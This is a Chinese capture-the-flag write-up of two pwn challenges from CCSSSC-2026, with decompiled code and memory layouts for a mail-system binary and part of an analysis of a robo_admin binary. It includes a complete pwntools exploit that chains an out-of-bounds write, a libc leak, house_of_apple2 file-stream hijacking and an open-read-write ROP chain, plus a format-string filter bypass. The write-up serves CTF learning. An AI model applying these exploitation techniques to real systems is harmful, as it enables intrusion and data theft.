CCSSSC-2026-pwn 题解

Wed, 25 Mar 2026 14:04:00 +0000

初赛

MailSystem

唯一的 pwn

checksec

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[*] '/home/kali/Desktop/attachment/pwn'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled

保护全开

IDA

程序比较复杂，需要耐心分析，是一个简单的邮件系统

main

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void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
 int v3; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v4; // [rsp+8h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 init();
 while ( 1 )
 {
 while ( 1 )
 {
 menu(a1, a2);
 v3 = 0;
 a2 = (char **)&v3;
 a1 = "%d";
 if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 a1 = "Invalid input!";
 puts("Invalid input!");
 }
 if ( v3 == 3 )
 {
 puts("Goodbye!");
 exit(0);
 }
 if ( v3 > 3 )
 {
LABEL_13:
 a1 = "Invalid choice!";
 puts("Invalid choice!");
 }
 else if ( v3 == 1 )
 {
 login();
 }
 else
 {
 if ( v3 != 2 )
 goto LABEL_13;
 register();
 }
 }
}

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int menu()
{
 puts("Welcome to the mail system!");
 puts("1. login account");
 puts("2. register account");
 puts("3. exit");
 return printf("Your choice: ");
}

能注册和登录，可以正常退出

init

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int init()
{
 char *v0; // rax
 int i; // [rsp+4h] [rbp-Ch]
 FILE *stream; // [rsp+8h] [rbp-8h]

 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 seccomp();
 for ( i = 0; i <= 11; ++i )
 this_is_time[34 * i] = time(0);
 this_is_admin = malloc(0x400u);
 memset(this_is_admin, 0, 0x400u);
 if ( !this_is_admin )
 {
 puts("malloc error");
 exit(-1);
 }
 v0 = (char *)this_is_admin + 50;
 *(_DWORD *)((char *)this_is_admin + 50) = 'imda';
 *((_WORD *)v0 + 2) = 'n';
 stream = fopen("/dev/urandom", "rb");
 if ( !stream )
 {
 puts("fopen error");
 exit(-1);
 }
 fread((char *)this_is_admin + 0x68, 1u, 0x10u, stream);
 return fclose(stream);
}

初始化管理员账号，管理员密码随机

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unsigned __int64 login()
{
 int i; // [rsp+Ch] [rbp-64h]
 char *v2; // [rsp+18h] [rbp-58h]
 char s2[32]; // [rsp+20h] [rbp-50h] BYREF
 char v4[40]; // [rsp+40h] [rbp-30h] BYREF
 unsigned __int64 v5; // [rsp+68h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 printf("Input your name: ");
 __isoc99_scanf("%31s", s2);
 printf("Input your password: ");
 __isoc99_scanf("%31s", v4);
 if ( (unsigned int)admin_check(s2, v4) )
 {
 admin_panel();
 }
 else
 {
 for ( i = 0; i <= 11; ++i )
 {
 if ( user_table[i] )
 {
 v2 = (char *)(user_table[i] + 704LL);
 if ( !strcmp((const char *)(user_table[i] + 664LL), s2) && !strcmp(v2, v4) )
 {
 printf("Welcome back, %s!\n", s2);
 putchar(10);
 mail_panel(user_table[i]);
 return v5 - __readfsqword(0x28u);
 }
 }
 }
 puts("Login failed! Invalid username or password.");
 putchar(10);
 }
 return v5 - __readfsqword(0x28u);
}

登录逻辑

register

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unsigned __int64 register()
{
 int v1; // [rsp+Ch] [rbp-54h]
 char s1[32]; // [rsp+10h] [rbp-50h] BYREF
 char src[40]; // [rsp+30h] [rbp-30h] BYREF
 unsigned __int64 v4; // [rsp+58h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 v1 = add_user((__int64)user_table);
 if ( v1 != -1 )
 {
 printf("Input your name: ");
 __isoc99_scanf("%31s", s1);
 if ( !strcmp(s1, "admin") )
 {
 puts("Username illegal!");
 putchar(10);
 free((void *)user_table[v1]);
 user_table[v1] = 0;
 }
 else
 {
 strcpy((char *)(user_table[v1] + 0x298LL), s1);
 printf("Input your password: ");
 __isoc99_scanf("%31s", src);
 strcpy((char *)(user_table[v1] + 0x2C0LL), src);
 printf("Registered user: %s\n", s1);
 puts("Registration successful!");
 putchar(10);
 }
 }
 return v4 - __readfsqword(0x28u);
}

注册逻辑

admin_check

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__int64 __fastcall admin_check(const char *a1, const char *a2)
{
 if ( strcmp(a1, (const char *)this_is_admin + 0x32) )
 return 0;
 if ( !strncmp(a2, (const char *)this_is_admin + 0x68, 0x10u) )
 {
 puts("Welcome admin!");
 return 1;
 }
 else
 {
 puts("Wrong password for admin!");
 return 0;
 }
}

检测管理员账号

admin_panel

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unsigned __int64 admin_panel()
{
 int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 puts("=== Admin Menu ===");
 puts("1. Change user info");
 puts("2. Delete user");
 puts("3. Mail to user");
 puts("4. Mail user to user");
 puts("5. Logout");
 printf("Your choice: ");
 v1 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v1) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 switch ( v1 )
 {
 case 1:
 change_user_info();
 break;
 case 2:
 delete_user();
 break;
 case 3:
 mail_to_user();
 break;
 case 4:
 mail_user_to_user();
 break;
 case 5:
 puts("Logging out as admin...");
 putchar(10);
 return v2 - __readfsqword(0x28u);
 default:
 puts("Invalid choice!");
 putchar(10);
 break;
 }
 }
}

管理员面板

mail_panel

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unsigned __int64 __fastcall mail_panel(size_t *a1)
{
 int v2; // [rsp+10h] [rbp-10h] BYREF
 int v3; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 mail_menu();
 v2 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v2) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 if ( v2 == 4 )
 break;
 if ( v2 > 4 )
 goto LABEL_16;
 switch ( v2 )
 {
 case 3:
 v3 = send_mail(a1);
 if ( v3 == 1 )
 return v4 - __readfsqword(0x28u);
 break;
 case 1:
 write_mail((__int64)a1);
 break;
 case 2:
 read_mail((__int64)a1);
 break;
 default:
LABEL_16:
 puts("Invalid choice!");
 putchar(10);
 break;
 }
 }
 puts("Logging out...");
 putchar(10);
 return v4 - __readfsqword(0x28u);
}

用户面板

add_user

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__int64 __fastcall add_user(__int64 a1)
{
 int v2; // [rsp+14h] [rbp-Ch]
 int i; // [rsp+18h] [rbp-8h]
 int j; // [rsp+1Ch] [rbp-4h]

 v2 = 0;
 for ( i = 0; i <= 11; ++i )
 {
 if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) )
 ++v2;
 }
 if ( v2 <= 7 )
 {
 for ( j = 0; ; ++j )
 {
 if ( j > 12 )
 return 0xFFFFFFFFLL;
 if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 )
 break;
 }
 *(_QWORD *)(8LL * j + a1) = malloc(0x410u);
 memset(*(void **)(8LL * j + a1), 0, 0x410u);
 if ( !*(_QWORD *)(8LL * j + a1) )
 {
 perror("malloc failed");
 exit(-1);
 }
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x278LL) = j + 1;
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) = 1;
 return (unsigned int)j;
 }
 else
 {
 puts("User full!");
 return 0xFFFFFFFFLL;
 }
}

添加用户，特定情况下存在正向越界写

mail_user_to_user

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unsigned __int64 mail_user_to_user()
{
 int v1; // [rsp+Ch] [rbp-34h] BYREF
 int v2; // [rsp+10h] [rbp-30h] BYREF
 int v3; // [rsp+14h] [rbp-2Ch] BYREF
 size_t n; // [rsp+18h] [rbp-28h]
 size_t v5; // [rsp+20h] [rbp-20h]
 void *v6; // [rsp+28h] [rbp-18h]
 void *src; // [rsp+30h] [rbp-10h]
 unsigned __int64 v8; // [rsp+38h] [rbp-8h]

 v8 = __readfsqword(0x28u);
 printf("Enter source user ID (whose mail to forward): (1-12) ");
 if ( (unsigned int)__isoc99_scanf("%d", &v1) != 1 )
 {
 puts("Invalid source user ID!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 printf("Enter destination user ID (1-12): ");
 if ( (unsigned int)__isoc99_scanf("%d", &v2) != 1 )
 {
 puts("Invalid destination user ID!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 if ( v1 > 12 )
 {
 puts("Source user ID out of range!");
 putchar(10);
 }
 else if ( user_table[v1 - 1] )
 {
 if ( v2 > 12 )
 {
 puts("Destination user ID out of range!");
 putchar(10);
 }
 else if ( user_table[v2 - 1] )
 {
 if ( !*(_QWORD *)(user_table[v2 - 1] + 0x308LL)
 || (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", v2),
 __isoc99_scanf(" %c", &v3),
 (_BYTE)v3 == 0x79)
 || (_BYTE)v3 == 0x59 )
 {
 if ( v1 > 12 )
 {
ret:
 putchar(10);
 return v8 - __readfsqword(0x28u);
 }
 puts("Which mail would you like to forward?");
 puts("1. User's draft");
 puts("2. User's inbox mail");
 printf("Your choice: ");
 if ( (unsigned int)__isoc99_scanf("%d", &v3) != 1 )
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 if ( v2 <= 12 )
 *(_QWORD *)(user_table[v2 - 1] + 0x308LL) = 1;
 if ( v3 == 1 )
 {
 if ( v2 <= 12 )
 {
 n = *(_QWORD *)(user_table[v1 - 1] + 0x100LL);
 if ( n > 0x100 )
 n = 256;
 src = (void *)(user_table[v1 - 1] + 0x110LL);
 memcpy((void *)user_table[v2 - 1], src, n);
 *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = n;
 }
 }
 else
 {
 if ( v3 != 2 )
 {
 puts("Invalid choice!");
 putchar(10);
 return v8 - __readfsqword(0x28u);
 }
 if ( v2 <= 12 )
 {
 v5 = *(_QWORD *)(user_table[v1 - 1] + 0x210LL);
 if ( v5 > 0x100 )
 v5 = 0x100;
 v6 = (void *)user_table[v1 - 1];
 memcpy((void *)user_table[v2 - 1], v6, v5);
 *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = v5;
 }
 }
 printf("Mail forwarded from index %d to index %d!\n", v1, v2);
 }
 else
 {
 puts("Forwarding cancelled.");
 putchar(10);
 }
 }
 else
 {
 printf("Destination user %d does not exist!\n", v2);
 putchar(10);
 }
 }
 else
 {
 printf("Source user %d does not exist!\n", v1);
 putchar(10);
 }
 return v8 - __readfsqword(0x28u);
}

管理员以某一用户名义发邮件给另一名用户，存在越界读写

mail_menu

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int mail_menu()
{
 puts("1. Write mail");
 puts("2. Read mail");
 puts("3. Send mail");
 puts("4. Logout");
 return printf("Your choice: ");
}

用户菜单

write_mail

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unsigned __int64 __fastcall write_mail(__int64 a1)
{
 int v2; // [rsp+18h] [rbp-118h] BYREF
 int v3; // [rsp+1Ch] [rbp-114h]
 _BYTE buf[264]; // [rsp+20h] [rbp-110h] BYREF
 unsigned __int64 v5; // [rsp+128h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 printf("How many bytes do you want to write? (1-%d): ", 256);
 if ( (unsigned int)__isoc99_scanf("%d", &v2) != 1 )
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
LABEL_16:
 putchar(10);
 return v5 - __readfsqword(0x28u);
 }
 if ( v2 > 0 && v2 <= 256 )
 {
 printf("Write your mail content (max %d bytes):\n", v2);
 while ( getchar() != 10 )
 ;
 v3 = read(0, buf, v2);
 if ( v3 <= 0 )
 {
 puts("Failed to read input!");
 }
 else
 {
 memcpy((void *)(a1 + 0x110), buf, v3);
 *(_QWORD *)(a1 + 0x100) = v3;
 if ( v3 > 0xFF )
 *(_BYTE *)(a1 + 0x20F) = 0;
 else
 *(_BYTE *)(v3 + 0x110LL + a1) = 0;
 *(_QWORD *)(a1 + 0x310) = 1;
 puts("Draft saved!");
 }
 goto LABEL_16;
 }
 printf("Write size must be between 1 and %d bytes.\n", 256);
 putchar(10);
 return v5 - __readfsqword(0x28u);
}

写邮件

read_mail

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unsigned __int64 __fastcall read_mail(__int64 a1)
{
 int v2; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 read_menu();
 if ( (unsigned int)__isoc99_scanf("%d") == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 }
 if ( v2 == 3 )
 break;
 if ( v2 > 3 )
 goto LABEL_17;
 if ( v2 == 1 )
 {
 if ( *(_QWORD *)(a1 + 0x310) )
 {
 puts("Your saved draft:");
 puts((const char *)(a1 + 0x110));
 putchar(10);
 }
 else
 {
 puts("No saved draft found.\n");
 }
 }
 else if ( v2 == 2 )
 {
 if ( *(_QWORD *)(a1 + 0x308) )
 {
 puts("Inbox (new mail):");
 puts((const char *)a1);
 *(_QWORD *)(a1 + 0x308) = 0;
 putchar(10);
 }
 else
 {
 puts("No new mail in inbox.\n");
 }
 }
 else
 {
LABEL_17:
 puts("Invalid choice!\n");
 }
 }
 putchar(10);
 return v3 - __readfsqword(0x28u);
}

读邮件

send_mail

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__int64 __fastcall send_mail(size_t *a1)
{
 char v2; // [rsp+1Bh] [rbp-25h] BYREF
 int v3; // [rsp+1Ch] [rbp-24h] BYREF
 size_t n; // [rsp+20h] [rbp-20h]
 size_t v5; // [rsp+28h] [rbp-18h]
 _QWORD *v6; // [rsp+30h] [rbp-10h]
 unsigned __int64 v7; // [rsp+38h] [rbp-8h]

 v7 = __readfsqword(0x28u);
 puts("Who do you want to send the mail to? (input user ID 1-12)");
 if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
 {
 if ( v3 > 0 && v3 <= 12 )
 {
 if ( user_table[v3 - 1] )
 {
 if ( a1[0x62] )
 {
 v5 = a1[0x4F];
 v6 = &this_is_time[34 * v5 - 34];
 ++*((_DWORD *)v6 + 2);
 if ( (unsigned int)secure_check(v5) )
 {
 return 1;
 }
 else if ( !*(_QWORD *)(user_table[v3 - 1] + 0x308LL)
 || (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", v3),
 __isoc99_scanf(" %c", &v2),
 v2 == 121)
 || v2 == 89 )
 {
 n = a1[32];
 if ( n > 0x100 )
 n = 256;
 *(_QWORD *)(user_table[v3 - 1] + 0x308LL) = 1;
 memcpy((void *)user_table[v3 - 1], a1 + 34, n);
 *(_QWORD *)(user_table[v3 - 1] + 0x210LL) = n;
 a1[98] = 0;
 printf("Mail sent to user %d!\n", v3);
 putchar(10);
 return 0;
 }
 else
 {
 puts("Mail sending cancelled.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("No draft to send! Please write a mail first.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("User does not exist!");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("Invalid user ID! Must be between 1 and 12.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
 putchar(10);
 return 0;
 }
}

发送邮件

read_menu

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int read_menu()
{
 puts("What would you like to read?");
 puts("1. My saved draft");
 puts("2. Inbox (mails sent to me)");
 puts("3. Back to main menu");
 return printf("Your choice: ");
}

读邮件面板

secure_check

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__int64 __fastcall secure_check(int a1)
{
 time_t v2; // [rsp+10h] [rbp-20h]
 time_t *v3; // [rsp+18h] [rbp-18h]
 _QWORD *v4; // [rsp+20h] [rbp-10h]
 FILE *stream; // [rsp+28h] [rbp-8h]

 v2 = time(0);
 v3 = &this_is_time[34 * a1 - 34];
 if ( v2 - *v3 > 10 || *((int *)v3 + 2) <= 4 )
 {
 if ( v2 - *v3 > 10 )
 {
 *((_DWORD *)v3 + 2) = 0;
 *v3 = v2;
 }
 return 0;
 }
 else
 {
 printf("\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\x1B[0m\n", a1);
 if ( a1 > 0 && a1 <= 12 && user_table[a1 - 1] )
 {
 v4 = (_QWORD *)user_table[a1 - 1];
 v4[0x53] = 'lagelli';
 stream = fopen("/dev/urandom", "rb");
 if ( stream )
 {
 fread(v4 + 88, 1u, 0x10u, stream);
 fclose(stream);
 }
 v4[0x4F] = 0;
 puts("Account has been banned!");
 puts("Returning to login menu...\n");
 }
 return 1;
 }
}

安全检测，发送频率过高会封号

bss

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.bss:0000000000007020 ; ===========================================================================
.bss:0000000000007020
.bss:0000000000007020 ; Segment type: Uninitialized
.bss:0000000000007020 ; Segment permissions: Read/Write
.bss:0000000000007020 _bss segment align_32 public 'BSS' use64
.bss:0000000000007020 assume cs:_bss
.bss:0000000000007020 ;org 7020h
.bss:0000000000007020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000007020 public stdout
.bss:0000000000007020 ; FILE *stdout
.bss:0000000000007020 stdout dq ? ; DATA XREF: LOAD:00000000000006A0↑o
.bss:0000000000007020 ; init+2A↑r
.bss:0000000000007020 ; Copy of shared data
.bss:0000000000007028 align 10h
.bss:0000000000007030 public stdin
.bss:0000000000007030 ; FILE *stdin
.bss:0000000000007030 stdin dq ? ; DATA XREF: LOAD:00000000000006D0↑o
.bss:0000000000007030 ; init+C↑r
.bss:0000000000007030 ; Copy of shared data
.bss:0000000000007038 align 20h
.bss:0000000000007040 public stderr
.bss:0000000000007040 ; FILE *stderr
.bss:0000000000007040 stderr dq ? ; DATA XREF: LOAD:0000000000000700↑o
.bss:0000000000007040 ; init+48↑r
.bss:0000000000007040 ; Copy of shared data
.bss:0000000000007048 byte_7048 db ? ; DATA XREF: sub_13E0+4↑r
.bss:0000000000007048 ; sub_13E0+2C↑w
.bss:0000000000007049 align 20h
.bss:0000000000007060 ; _QWORD user_table[12]
.bss:0000000000007060 user_table dq 0Ch dup(?) ; DATA XREF: secure_check+A7↑o
.bss:0000000000007060 ; secure_check+CB↑o ...
.bss:00000000000070C0 ; void *this_is_admin
.bss:00000000000070C0 this_is_admin dq ? ; DATA XREF: init+BC↑w
.bss:00000000000070C0 ; init+C3↑r ...
.bss:00000000000070C8 align 20h
.bss:00000000000070E0 ; _QWORD this_is_time[408]
.bss:00000000000070E0 this_is_time dq 198h dup(?) ; DATA XREF: secure_check+34↑o
.bss:00000000000070E0 ; init+9D↑o ...
.bss:00000000000070E0 _bss ends
.bss:00000000000070E0

bss 结构

攻击思路

难点是梳理程序流程和内存的结构以及识别漏洞点

管理员内存结构

管理员内存大小为 0x400

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0x32: 名称
0x68: 密码

用户内存结构

用户内存大小为 0x410

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0x0-0x100: 0x100 收件
0x100-0x108: 0x8 草稿大小
0x110-0x210: 0x100 草稿
0x210-0x218: 0x8 收件大小
0x278-0x280: 0x8 编号，被 ban 清零
0x298-0x2B8: 0x20 用户名
0x2C0-0x2E8: 0x28 密码
0x308-0x310: 0x8 收件标记
0x310-0x318: 0x8 草稿标记
0x388-0x390: 0x8 存在标记

漏洞点利用

在注册时有这样的逻辑：

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 v2 = 0;
 for ( i = 0; i <= 11; ++i )
 {
 if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) )
 ++v2;
 }
 if ( v2 <= 7 )
 {
 for ( j = 0; ; ++j )
 {
 if ( j > 12 )
 return 0xFFFFFFFFLL;
 if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 )
 break;
 }

这里 j 在出 for 循环时可以为 12 ，这样的话可以从用户表越界到管理员表，把管理员的名称和密码都清空，这样就可以直接登录管理员账号了

但是要使 j 为 12 ，就要绕过上面对 v2 的大小检验，这要求 *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) 为 0 而 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL 不为零，该情况发生的条件是用户被 ban

而要想用户被 ban ，根据 secure_check 的逻辑只要在 10 秒内发送超过四次邮件即可

于是我们每注册一个用户就 ban 一个，直到填满用户表使溢出发生后即可成为管理员

成为管理员后的 mail_user_to_user 中有反向越界读写，可以通过标准流指针泄露 libc 基址，然后通过往 stderr 里面发送 fake_io 信件打 house_of_apple2 ，走 setcontext 去跑 read 再写入 orw_chain

比赛时最后十分钟过了本地但是远程炸了，淦，好像是交互时间过长的问题。

exp

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from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('192.0.100.2', 9999)

libc = ELF('./libc.so.6')

### login

def login(name, pwd):
	io.sendlineafter(b'choice: ', b'1')
	io.sendlineafter(b'name: ', name)
	io.sendlineafter(b'password: ', pwd)

def register(name, pwd):
	io.sendlineafter(b'choice: ', b'2')
	io.sendlineafter(b'name: ', name)
	io.sendlineafter(b'password: ', pwd)

def myexit():
	io.sendlineafter(b'choice: ', b'3')

### user

def writemail(bt, content):
	io.sendlineafter(b'choice: ', b'1')
	io.sendlineafter(b'(1-256): ', str(bt).encode())
	io.sendlineafter(b'bytes):\n', content)

def readmail(choice):
	io.sendlineafter(b'choice: ', b'2')
	io.sendlineafter(b'choice: ', str(choice).encode())

def back2menu():
	io.sendlineafter(b'choice: ', b'3')

def sendmail(id, rep = False):
	io.sendlineafter(b'choice: ', b'3')
	io.sendlineafter(b'(input user ID 1-12)', str(id).encode())
	if rep:
		io.sendlineafter(b'(y/n): ', b'y')

def logout():
	io.sendlineafter(b'choice: ', b'4')

### admin

def user2user(src, dst, choice, rep = False):
	io.sendlineafter(b'choice: ', b'4')
	io.sendlineafter(b': (1-12) ', str(src).encode())
	io.sendlineafter(b'(1-12): ', str(dst).encode())
	if rep:
		io.sendlineafter(b'(y/n): ', b'y')
	io.sendlineafter(b'choice: ', str(choice).encode())

def admin_logout():
	io.sendlineafter(b'choice: ', b'5')

def attack():
	for i in range(12):		# admin
		register(b'AAA' + str(i).encode(), b'BBB')
		login(b'AAA' + str(i).encode(), b'BBB')
		if i >= 7:
			writemail(1, b'C')
			sendmail(i + 1)
			for _ in range(3):
				writemail(1, b'C')
				sendmail(i + 1, True)
			writemail(1, b'C')
			sendmail(i + 1)
		logout()
	register(b'AAA' + str(13).encode(), b'BBB')

	login(b'\x00', b'\x00')
	user2user(-3, 1, 1)
	admin_logout()

	login(b'AAA0', b'BBB')
	readmail(2)
	io.recvuntil(b'(new mail):\n')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21b803
	log.info(f'libc = {hex(libc.address)}')
	back2menu()
	logout()

	stderr = libc.sym['_IO_2_1_stderr_']

	pop_rax_ret = libc.address + 0x45eb0
	pop_rdi_ret = libc.address + 0x2a3e5
	pop_rsi_ret = libc.address + 0x2be51
	pop_rdx_pop_r12_ret = libc.address + 0x11f357
	syscall_ret = libc.address + 0x91316

	read_rop_chain = flat([
		0,
		pop_rsi_ret,
		stderr + 0x68,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret
	])

	fake_io = flat({
			0x0: 0,
			0x10: '/flag\x00',
			0x28: libc.sym['setcontext'] + 0x3d,
			0x30: read_rop_chain,
			0x70: stderr + 0x30, # RSP
			0X78: pop_rdi_ret, # RIP
			0x88: stderr,
			0xA0: stderr - 0x30,
			0xB0: stderr - 0x40,
			0xD8: libc.sym['_IO_wfile_jumps']
		},
		filler=b"\x00"
	)

	login(b'AAA0', b'BBB')
	writemail(len(fake_io), fake_io)
	logout()

	login(b'\x00', b'\x00')
	user2user(1, -3, 1)
	admin_logout()

	myexit()

	orw_rop_chain = flat([
		pop_rax_ret,
		2,
		pop_rdi_ret,
		stderr + 0x10,
		syscall_ret,		# open("/flag")
		pop_rax_ret,
		0,
		pop_rdi_ret,
		3,
		pop_rsi_ret,
		stderr + 0x100,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret,		# read(3, buf, 0x100)
		pop_rax_ret,
		1,
		pop_rdi_ret,
		1,
		pop_rsi_ret,
		stderr + 0x100,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret		# write(1, buf, 0x100)
	])

	#gdb.attach(io)
	io.sendlineafter(b'Goodbye!\n', orw_rop_chain)

	io.interactive()

attack()

区域决赛

robo_admin

呜呜呜我好菜啊比赛时怎么做不出来呜呜呜

checksec

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[*] '/home/RatherHard/CTF-pwn/ccsssc/robo_admin/题目附件/robo_admin'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled

IDA

mystart

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__int64 mystart()
{
 int v0; // eax
 char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
 __int64 v3; // [rsp+8h] [rbp-18h]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 seccomp();
 clear();
 pwdgen();
 puts("Robo Admin Service");
 while ( 1 )
 {
 puts("\n=== Main Menu ===");
 puts("1. set notice");
 puts("2. show status");
 puts("3. admin login");
 puts("4. exit");
 puts("> ");
 *(_QWORD *)nptr = 0;
 v3 = 0;
 myread(nptr, 16);
 v0 = atoi(nptr);
 if ( v0 == 4 )
 break;
 if ( v0 > 4 )
 goto LABEL_13;
 switch ( v0 )
 {
 case 3:
 judger = admin_judge();
 if ( judger )
 admin_panel();
 break;
 case 1:
 setnotice();
 break;
 case 2:
 showstatus();
 break;
 default:
LABEL_13:
 puts("[X] invalid");
 break;
 }
 }
 puts("bye");
 return 0;
}

菜单题

seccomp

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__int64 seccomp()
{
 __int64 v1; // [rsp+8h] [rbp-8h]

 v1 = seccomp_init(2147418112);
 if ( !v1 )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 2, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 59, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 322, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_load(v1) )
 _exit(1);
 return seccomp_release(v1);
}

禁用了 open 和 execve ，可以用 openat

setnotice

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unsigned __int64 setnotice()
{
 _QWORD src[32]; // [rsp+0h] [rbp-310h] BYREF
 char s[8]; // [rsp+100h] [rbp-210h] BYREF
 __int64 v3; // [rsp+108h] [rbp-208h]
 _BYTE v4[496]; // [rsp+110h] [rbp-200h] BYREF
 unsigned __int64 v5; // [rsp+308h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 *(_QWORD *)s = 0;
 v3 = 0;
 memset(v4, 0, sizeof(v4));
 memset(src, 0, sizeof(src));
 myread(s, 512);
 if ( strchr(s, 37) || strchr(s, 36) )
 {
 puts("[X] raw input contains illegal chars");
 }
 else if ( (unsigned int)((__int64 (__fastcall *)(char *, _QWORD *, __int64))decode)(s, src, 256) )
 {
 puts("[X] decode failed");
 }
 else
 {
 memcpy(notice, src, sizeof(notice));
 byte_52BF = 0;
 ntc_tag = 1;
 puts("[+] notice updated");
 }
 return v5 - __readfsqword(0x28u);
}

禁止明文出现 ‘%’ 和 ‘$’ ，防止直接的格式化字符串攻击

decode

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__int64 __fastcall decode(__int64 a1, __int64 a2, unsigned __int64 a3)
{
 __int64 v4; // rax
 __int64 v5; // rax
 int v7; // [rsp+20h] [rbp-18h]
 int v8; // [rsp+24h] [rbp-14h]
 __int64 v9; // [rsp+28h] [rbp-10h]
 __int64 i; // [rsp+30h] [rbp-8h]

 v9 = 0;
 for ( i = 0; *(_BYTE *)(a1 + i); ++i )
 {
 if ( a3 <= v9 + 1 )
 return 0xFFFFFFFFLL;
 if ( *(_BYTE *)(a1 + i) == 92 && *(_BYTE *)(i + 1 + a1) == 120 )
 {
 v7 = decodechr((unsigned int)*(char *)(i + 2 + a1));
 v8 = decodechr((unsigned int)*(char *)(i + 3 + a1));
 if ( v7 < 0 || v8 < 0 )
 return 0xFFFFFFFFLL;
 v4 = v9++;
 *(_BYTE *)(a2 + v4) = v8 | (16 * v7);
 i += 3;
 }
 else
 {
 v5 = v9++;
 *(_BYTE *)(v5 + a2) = *(_BYTE *)(a1 + i);
 }
 }
 *(_BYTE *)(a2 + v9) = 0;
 return 0;
}

解码器没有对格式化字符串的校验，可以利用这一点绕过前面的明文校验

showstatus

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unsigned __int64 __fastcall showstatus(__int64 a1, __int64 a2)
{
 __int64 v2; // rdx
 __int64 v3; // rcx
 __int64 v4; // r8
 __int64 v5; // r9
 __int64 v7; // [rsp+0h] [rbp-40h]
 __int64 v8; // [rsp+8h] [rbp-38h]
 _QWORD v9[2]; // [rsp+10h] [rbp-30h] BYREF
 __int64 v10; // [rsp+20h] [rbp-20h]
 __int64 v11; // [rsp+28h] [rbp-18h]
 unsigned __int64 v12; // [rsp+38h] [rbp-8h]

 v12 = __readfsqword(0x28u);
 v7 = pwd1;
 v8 = pwd2;
 strcpy((char *)v9, "STACK_ANCHOR");
 BYTE5(v9[1]) = 0;
 HIWORD(v9[1]) = 0;
 v10 = 0;
 v11 = 0;
 puts("=== Robo Admin Status ===");
 puts("Robot core: online");
 puts("Task queue: healthy");
 printf("Notice: ");
 if ( ntc_tag )
 {
 if ( once )
 {
 printf("%s", notice);
 }
 else
 {
 once = 1;
 printf(notice, a2, v2, v3, v4, v5, v7, v8, v9[0], v9[1], v10, v11);
 }
 puts(&whatelf);
 }
 else
 {
 puts("(empty)");
 }
 return v12 - __readfsqword(0x28u);
}

